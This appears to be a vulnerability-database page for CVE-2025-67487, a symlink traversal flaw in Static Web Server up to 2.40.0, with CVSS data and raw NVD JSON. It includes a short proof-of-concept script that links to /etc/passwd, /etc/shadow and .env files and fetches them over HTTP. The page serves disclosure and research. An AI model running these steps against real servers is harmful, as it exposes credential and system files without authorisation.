Security Vulnerability Report
中文
CVE-2025-67487 CVSS 8.6 HIGH

CVE-2025-67487

Published: 2025-12-09 16:18:24
Last Modified: 2025-12-11 16:06:18

Description

Static Web Server (SWS) is a production-ready web server suitable for static web files or assets. Versions 2.40.0 and below contain symbolic links (symlinks) which can be used to access files or directories outside the intended web root folder. SWS generally does not prevent symlinks from escaping the web server’s root directory. Therefore, if a malicious actor gains access to the web server’s root directory, they could create symlinks to access other files outside the designated web root folder either by URL or via the directory listing. This issue is fixed in version 2.40.1.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:static-web-server:static_web_server:*:*:*:*:*:rust:*:* - VULNERABLE
Static Web Server (SWS) <= 2.40.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-67487 PoC - Static Web Server Symlink Traversal # Target: Static Web Server <= 2.40.0 TARGET_HOST="http://target-server.com" TARGET_PORT="80" # Step 1: Create a symlink to /etc/passwd in the web root # Note: Requires write access to web root directory # ln -s /etc/passwd webroot/passwd_link echo "[*] CVE-2025-67487 Symlink Traversal PoC" echo "[*] Target: $TARGET_HOST:$TARGET_PORT" # Step 2: Access the symlink via HTTP request curl -v "$TARGET_HOST:$TARGET_PORT/passwd_link" # Alternative: Access via directory listing if enabled curl -v "$TARGET_HOST:$TARGET_PORT/" # Step 3: Access sensitive files # ln -s /etc/shadow webroot/shadow_link curl -v "$TARGET_HOST:$TARGET_PORT/shadow_link" # Python PoC cat << 'EOF' import requests target = "http://target-server.com" paths = ["/passwd_link", "/shadow_link", "/.env_link", "/config_link"] for path in paths: try: r = requests.get(target + path, timeout=5) if r.status_code == 200 and len(r.content) > 0: print(f"[+] Found: {path}") print(r.text[:500]) except: pass EOF

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67487", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:24.053", "lastModified": "2025-12-11T16:06:17.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Static Web Server (SWS) is a production-ready web server suitable for static web files or assets. Versions 2.40.0 and below contain symbolic links (symlinks) which can be used to access files or directories outside the intended web root folder. SWS generally does not prevent symlinks from escaping the web server’s root directory. Therefore, if a malicious actor gains access to the web server’s root directory, they could create symlinks to access other files outside the designated web root folder either by URL or via the directory listing. This issue is fixed in version 2.40.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:static-web-server:static_web_server:*:*:*:*:*:rust:*:*", "versionEndIncluding": "2.40.0", "matchCriteriaId": "779BD067-150E-4711-A274-040B483951C9"}]}]}], "references": [{"url": "https://github.com/static-web-server/static-web-server/commit/308f0d26ceb9c2c8bd219315d0f53914763357f2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/static-web-server/static-web-server/security/advisories/GHSA-459f-x8vq-xjjm", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/static-web-server/static-web-server/security/advisories/GHSA-459f-x8vq-xjjm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}